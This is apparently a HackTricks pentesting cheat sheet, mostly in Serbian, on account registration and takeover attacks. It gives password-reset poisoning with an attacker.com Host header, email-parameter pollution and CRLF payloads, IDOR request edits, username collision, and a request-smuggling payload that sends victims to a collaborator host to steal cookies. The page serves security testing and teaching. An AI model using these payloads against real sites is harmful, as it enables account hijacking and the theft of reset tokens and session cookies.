Registration & Takeover Vulnerabilities

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Registration Takeover

Duplicate Registration

• Pokušajte da generišete koristeći postojeće korisničko ime

• Proverite varijacije email-a:

• velika slova

• +1@

• dodajte tačku u email

• specijalni karakteri u imenu email-a (%00, %09, %20)

• Stavite crne karaktere posle email-a: [e-mail] a

• [e-mail]@attacker.com

• [e-mail]@gmail.com

Username Enumeration

Proverite da li možete da otkrijete kada je korisničko ime već registrovano unutar aplikacije.

Password Policy

Kreirajući korisnika, proverite politiku lozinki (proverite da li možete koristiti slabe lozinke). U tom slučaju možete pokušati da bruteforce-ujete akreditive.

SQL Injection

Check this page da naučite kako da pokušate preuzimanje naloga ili izvučete informacije putem SQL Injections u registracionim formama.

Oauth Takeovers

OAuth to Account takeover

SAML Vulnerabilities

SAML Attacks

Change Email

Kada se registrujete, pokušajte da promenite email i proverite da li je ova promena ispravno validirana ili možete promeniti na proizvoljne email adrese.

More Checks

• Proverite da li možete koristiti disposable emails

• Duga lozinka (>200) dovodi do DoS

• Proverite ograničenja brzine prilikom kreiranja naloga

• Koristite username@burp_collab.net i analizirajte callback

Password Reset Takeover

Password Reset Token Leak Via Referrer

1. Zatražite resetovanje lozinke na vašu email adresu

2. Kliknite na link za resetovanje lozinke

3. Ne menjajte lozinku

4. Kliknite na bilo koje 3rd party sajtove (npr: Facebook, twitter)

5. Presretnite zahtev u Burp Suite proxy

6. Proverite da li referer header otkriva token za resetovanje lozinke.

Password Reset Poisoning

1. Presretnite zahtev za resetovanje lozinke u Burp Suite

2. Dodajte ili izmenite sledeće header-e u Burp Suite : Host: attacker.com, X-Forwarded-Host: attacker.com

3. Prosledite zahtev sa izmenjenim header-om http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com

4. Potražite URL za resetovanje lozinke na osnovu host header-a kao što je : https://attacker.com/reset-password.php?token=TOKEN

Password Reset Via Email Parameter

# parameter pollution
email=[e-mail]&email=[e-mail]

# array of emails
{"email":["[e-mail]","[e-mail]"]}

# carbon copy
email=[e-mail]%0A%0Dcc:[e-mail]
email=[e-mail]%0A%0Dbcc:[e-mail]

# separator
email=[e-mail],[e-mail]
email=[e-mail][e-mail]
email=[e-mail]|[e-mail]

IDOR na API parametrima

1. Napadač mora da se prijavi sa svojim nalogom i ode na funkciju Promena lozinke.

2. Pokrenite Burp Suite i presretnite zahtev.

3. Pošaljite ga na repeater tab i izmenite parametre: ID korisnika/email powershell POST /api/changepass [...] ("form": {"email":"[e-mail]","password":"securepwd"})

Slab Token za Resetovanje Lozinke

Token za resetovanje lozinke treba da bude nasumično generisan i jedinstven svaki put. Pokušajte da odredite da li token ističe ili je uvek isti, u nekim slučajevima algoritam generacije je slab i može se pogoditi. Sledeće varijable mogu biti korišćene od strane algoritma.

• Vreme

• ID korisnika

• Email korisnika

• Ime i Prezime

• Datum rođenja

• Kriptografija

• Samo brojevi

• Mala sekvenca tokena (karakteri između [A-Z,a-z,0-9])

• Ponovna upotreba tokena

• Datum isteka tokena

Curjenje Tokena za Resetovanje Lozinke

1. Pokrenite zahtev za resetovanje lozinke koristeći API/UI za specifičan email npr: [e-mail]

2. Istražite odgovor servera i proverite za resetToken

3. Zatim koristite token u URL-u kao https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Resetovanje Lozinke Putem Kolizije Korisničkog Imena

1. Registrujte se na sistem sa korisničkim imenom identičnim korisničkom imenu žrtve, ali sa razmacima umetnutim pre i/ili posle korisničkog imena. npr: "admin "

2. Zatražite resetovanje lozinke sa svojim zlonamernim korisničkim imenom.

3. Iskoristite token poslat na vaš email i resetujte lozinku žrtve.

4. Prijavite se na nalog žrtve sa novom lozinkom.

Platforma CTFd je bila ranjiva na ovaj napad. Pogledajte: CVE-2020-7245

Preuzimanje Naloga Putem Cross Site Scripting-a

1. Pronađite XSS unutar aplikacije ili poddomena ako su kolačići ograničeni na roditeljski domen: *.domain.com

2. Icurite trenutni kolačić sesije

3. Autentifikujte se kao korisnik koristeći kolačić

Preuzimanje Naloga Putem HTTP Request Smuggling-a

1. Koristite smuggler da detektujete tip HTTP Request Smuggling-a (CL, TE, CL.TE) powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h 2. Kreirajte zahtev koji će prepisati POST / HTTP/1.1 sa sledećim podacima: GET http://something.burpcollaborator.net HTTP/1.1 X: sa ciljem da otvorite preusmeravanje žrtava na burpcollab i ukradete njihove kolačiće 3. Finalni zahtev može izgledati ovako

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone izveštaji o eksploataciji ovog buga * https://hackerone.com/reports/737140 * https://hackerone.com/reports/771666

Preuzimanje naloga putem CSRF

1. Kreirajte payload za CSRF, npr: “HTML forma sa automatskim slanjem za promenu lozinke”

2. Pošaljite payload

Preuzimanje naloga putem JWT

JSON Web Token može se koristiti za autentifikaciju korisnika.

• Izmenite JWT sa drugim ID-jem korisnika / Email-om

• Proverite slabu JWT potpis

JWT Vulnerabilities (Json Web Tokens)

Reference

• https://salmonsec.com/cheatsheet/account_takeover

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

• Proverite planove pretplate!

• Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitter-u 🐦 @hacktricks_live.

• Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.